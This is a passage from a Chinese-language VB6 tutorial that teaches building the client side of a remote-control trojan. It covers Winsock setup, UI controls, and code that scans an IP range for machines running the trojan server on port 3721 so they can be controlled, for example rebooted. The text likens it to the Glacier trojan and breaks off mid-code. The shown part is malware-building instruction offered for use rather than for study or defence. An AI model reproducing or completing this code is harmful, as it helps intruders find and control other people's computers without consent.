计算机请求连接时出现。仅适用于 TCP 服务器应用
程序。
.DataArrival 事件 `当新数据到达时出现。
三、 编程实践
下面我们就以一个实例来说明,如何实现用控制程序(客户端的程序)在局域网或互联网上搜索运行了木马(服务端的
程序)的计算机,并对其进行控制(让该
计算机重新启动)。
(1)客户端
程序:
1、新建一个 VB 工程,添加一个 Winsock 控件(用来实现远程连接);一个 ProgressBar 控件;一个 List 控件(显示可以控制的
计算机的 IP 地址);一个 Frame 控件,其 Caption 为 “搜索范围”;七个 Label 控件,其 Name 都为默认值,Caption 分别为 “监听端口:”,“延迟时间:”,“毫秒”,“起始域:”,“起始地址:”,“终此地址:”,“搜索结果:”;二个 Command 控件,其 Name 都为默认值,Caption 分别为“开始搜索”,“程序结束”,一个 StatusBar 控件(其中涉及的几个非常规控件,请按下面的步骤加载:工程→部件→Micrsoft Windows Common Controls 5.0;Microsoft Winsock Control 6.0),
程序设计界面如图1所示:(是不是和冰河 V2.2 版中搜索
计算机的窗口非常相似呀)
2、现在切换到代码编辑窗口,依次写入以下代码:
注意:在下面程序中我所提到的“木马”,就是服务器端的程序
①全局变量的声名
Option Explicit
Dim myip As String `保存本地 IP 地址
Dim IsFind As Boolean `判断
计算机是否可以控制
Dim temp_i, temp_j, temp_n, temp_o, sum_i As Long `5 个临时变量
②程序初始化设置
Private Sub Form_Load()
myip = Winsock1.LocalIP `返回本地机器的 IP 地址,在设计时是只读的,而且是不可用的。
Winsock1.Protocol = sckTCPProtocol `使用 TCP 协议
`程序初始化设置
Text1(0).Text = "3721" `为服务器端口值
Text1(1).Text = "2000" `搜索木马机器的延迟时间
For temp_j = 1 To 3
temp_i = InStr(temp_i + 1, myip, ".")
Next
Text1(2).Text = Left(myip, temp_i - 1) `起始域
Text1(3).Text = "1" `起始地址
Text1(4).Text = "10" `终此地址
StatusBar1.Style = sbrSimple `设置 StatusBar 控件的样式
StatusBar1.SimpleText = "准备搜索" `设置 StatusBar 显示的文本
End Sub
③开始搜索中木马的计算机
Private Sub Command1_Click()
On Error GoTo error1
sum_i = 0 `用来保存搜索到的计算机数目
temp_j = ProgressBar1.Min `取得 ProgressBar 控件的最小值
List1.Enabled = False
List1.Clear `清空列表框
StatusBar1.SimpleText = "开始搜索计算机.."
Command1.Enabled = False
&nbs